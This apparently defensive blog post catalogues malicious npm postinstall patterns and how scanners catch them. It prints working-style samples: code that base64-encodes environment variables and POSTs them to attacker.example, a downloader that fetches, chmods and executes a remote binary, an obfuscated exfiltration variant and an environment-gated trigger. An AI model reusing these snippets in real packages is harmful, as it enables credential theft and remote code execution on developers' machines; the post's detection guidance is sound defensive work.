A field guide to malicious npm postinstall script patterns
The npm postinstall script is the single most common code-execution surface for malicious packages. When you run npm install, every package's lifecycle scripts (preinstall, install, postinstall) execute with your shell privileges. Most malicious npm packages place their payload in one of these scripts. This post catalogs the patterns observed across reported incidents and explains what each one looks like and how it's caught.
Why postinstall
There is no sandbox between an npm package's install scripts and your environment. The scripts can read files, write files, make network requests, exec subprocesses, and modify any path your user has access to. A package that wants to do something at install time uses postinstall; a package that wants to attack your machine uses postinstall.
You can globally disable lifecycle scripts:
npm config set ignore-scripts true
This eliminates the surface but breaks legitimate packages that need build steps (notably native modules). Most of the time the right move is to keep scripts on but treat unfamiliar postinstall content as a code review.
The basic credential exfiltration
The simplest form: read environment variables, encode them, POST to a remote URL. Often inlined directly:
// package.json
"scripts": { "postinstall": "node lib/install.js" }
// lib/install.js
const env = JSON.stringify(process.env);
const enc = Buffer.from(env).toString('base64');
require('https').request({
hostname: 'attacker.example',
method: 'POST',
path: '/x'
}).end(enc);
What it captures: cloud credentials in environment variables (AWS access keys, Stripe keys, anything in process.env), CI tokens, sometimes session data.
How it's caught: any tool that reads the package's source can flag a postinstall that makes outbound HTTP requests to non-registry domains. AST-level scanners trigger reliably on this pattern.
The "download a binary" pattern
Slightly more sophisticated: postinstall fetches a remote payload and executes it. Used when the attacker wants to run platform-specific code or fetch a payload they can change after publication.
const os = require('os');
const fs = require('fs');
const https = require('https');
const { execFileSync } = require('child_process');
const url = `https://attacker.example/p?os=${os.platform()}`;
const tmp = `/tmp/.cache-${Date.now()}`;
https.get(url, (res) => {
res.pipe(fs.createWriteStream(tmp))
.on('close', () => {
fs.chmodSync(tmp, 0o755);
execFileSync(tmp);
});
});
What it does: downloads a binary that can be updated server-side after the package is published. This is what ua-parser-js did with XMRig. The attack also defeats static scanning of the package contents — the malicious behavior is in a payload that isn't part of the npm tarball.
How it's caught: outbound HTTP from a postinstall script to a non-package-registry domain is a strong signal. Combine with: chmod and exec of the downloaded artifact in the same script.
The obfuscated payload
Where authors who get caught learn from the experience: hide the payload behind layers of indirection.
const _0x = ['aHR0cHM6Ly9hdHRhY2tlci...', 'L3gvZW52', '...'];
const _f = (i) => Buffer.from(_0x[i], 'base64').toString();
require(_f(2)).request({ hostname: _f(0), path: _f(1), method: 'POST' }).end(JSON.stringify(process.env));
What it does: the same exfiltration, with strings, function names, and module names base64-encoded or constructed at runtime. Sometimes the entire payload is wrapped in a string that's eval'd.
How it's caught: presence of eval, Function('...'), large base64 string literals, character-code arrays, _0x minified-style identifiers in source that should be readable. AST scanners look for these patterns; they correlate strongly with malicious intent.
The conditional payload
The class of attacks that targets specific environments. flatmap-stream did this against Copay; many newer attacks follow the pattern.
// Run only if the host appears to be a build of a specific target
const fs = require('fs');
try {
const pkg = JSON.parse(fs.readFileSync('../../package.json', 'utf8'));
if (pkg.name === 'specific-target-app') {
runPayload();
}
} catch {}
What it does: hides the malicious branch behind a check for the parent package, environment variable, hostname, or other host condition. Behavior is benign in CI, in tests, in any developer machine that doesn't match the trigger.
How it's caught: harder than the unconditional patterns. Behavioral analysis in a sandbox can simulate the trigger; static analysis flags suspicious conditionals on host metadata in install scripts.
The "borrow a script" pattern
A subtle variant: the postinstall is a small shim that requires another file in the package. The malicious code lives in a different file, hidden among legitimate-looking ones.
"scripts": { "postinstall": "node ./scripts/setup.js" }
./scripts/setup.js does something legitimate. But the package also includes ./scripts/.helper.js, which is require'd from setup.js and contains the actual exfiltration.
How it's caught: read every file the postinstall touches transitively. Manual review catches it; scanners that follow require graphs catch it.
What helps in practice
Disable scripts where they aren't needed. For pure JavaScript libraries that don't ship native code, npm install --ignore-scripts works fine. Document which dependencies actually need lifecycle scripts and treat that list as a security boundary.
Treat new postinstall scripts as a code change. A version bump that newly adds a postinstall (or modifies an existing one) is reviewable. A scanner that diffs lifecycle scripts across versions makes this trivial to surface.
Hold brand-new versions through cooling. Most malicious-postinstall attacks rely on landing the payload before anyone has reviewed it. A publication-age cooling gate of two hours plus a community-observation threshold catches the worst class of these attacks before the install ever happens.
Takeaway
The postinstall script is where npm packages execute code on your machine. Every category of malicious npm package known to date passes through one of these patterns. Catching them is a combination of disabling scripts where you can, scanning what you can't disable, and refusing to install brand-new versions before anyone has had a chance to look at them.